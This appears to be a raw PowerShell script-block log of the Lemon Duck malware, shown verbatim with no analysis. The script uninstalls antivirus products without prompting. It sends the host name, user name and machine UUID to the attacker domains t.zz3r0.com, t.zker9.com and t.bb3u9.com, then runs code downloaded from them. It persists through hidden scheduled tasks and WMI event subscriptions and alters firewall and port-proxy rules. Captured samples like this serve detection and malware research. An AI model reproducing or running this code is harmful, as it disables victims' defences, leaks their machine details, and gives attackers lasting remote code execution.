Lemon-Duck Malware

Creating Scriptblock text (1 of 1):
cmd /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
    
cmd /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
    
cmd /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
    
cmd /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
    
cmd /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
    
cmd /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
    
cmd /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
    
cmd /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart
    
$v="?$v"+(Get-Date -Format '_yyyyMMdd')
    
$tmps='function a($u){$d=[text.encoding]::utf8.getbytes((new-object IO.StreamReader([net.webrequest]::create($u).getresponse().getresponsestream())).readtoend());$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String(''2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url=''http://''+''U1''+''U2''+''/a.jsp'+$v+'?''+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join''*'');a($url)'
    
$sa=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
    
function getRan(){return -join([char[]](48..57+65..90+97..122)|Get-Random -Count (6+(Get-Random)%6))}
    
$us=@('t.zz3r0.com','t.zker9.com','t.bb3u9.com')
    
$stsrv = New-Object -ComObject Schedule.Service
    
$stsrv.Connect()
    
try{
    
$doit=$stsrv.GetFolder("\").GetTask("blackball")
    
    }catch{}
    
    if(-not $doit){
    
        if($sa){
    
            schtasks /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"
    
        } else {
    
            schtasks /create /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"
    
        }
    
        foreach($u in $us){
    
    
            $i = [array]::IndexOf($us,$u)
    
    
            if($i%3 -eq 0){$tnf=''}
    
    
            if($i%3 -eq 1){$tnf=getRan}
    
    
            if($i%3 -eq 2){if($sa){$tnf='MicroSoft\Windows\'+(getRan)}else{$tnf=getRan}}
    
    
            $tn = getRan
    
    
            if($sa){
    
    
                schtasks /create /ru system /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -c PS_CMD"
    
    
            } else {
    
    
                schtasks /create /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"
    
    
            }
    
    
            start-sleep 1
    
    
            $folder=$stsrv.GetFolder("\$tnf")
    
    
            $taskitem=$folder.GetTasks(1)
    
    
            foreach($task in $taskitem){
    
                foreach ($action in $task.Definition.Actions) {
    
                    try{
    
                        if($action.Arguments.Contains("PS_CMD")){	
    
                            $folder.RegisterTask($task.Name, $task.Xml.replace("PS_CMD",$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5))), 4, $null, $null, 0, $null)|out-null
    
                        }
    
                    }catch{}
    
                }
    
            }
    
            start-sleep 1
    
            schtasks /run /tn "$tnf\$tn"
    
            start-sleep 5
    
        }
    
    }
    
    try{
    
    $doit1=Get-WMIObject -Class __EventFilter -NameSpace 'root\subscription' -filter "Name='blackball'"
    
    }catch{}
    
    if(-not $doit1){
    
    Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="blackball";EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop
    
    foreach($u in $us){
    
    $theName=getRan
     
    $wmicmd=$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5)).replace('a.jsp','aa.jsp')
    
    Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=(Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="f"+$theName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop);Consumer=(Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="c"+$theName;ExecutablePath="c:\windows\system32\cmd.exe";CommandLineTemplate="/c powershell -c $wmicmd"})}
    
    start-sleep 5
    
    }
    
    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 ???Force
}
    
cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSd
    
netsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
  
netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block
      
netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=block
    
schtasks /delete /tn Rtsa2 /F
       
schtasks /delete /tn Rtsa1 /F
       
schtasks /delete /tn Rtsa /F
    
ScriptBlock ID: 2efc1be9-b1bd-4948-a2d7-97c8dd332cff
Path: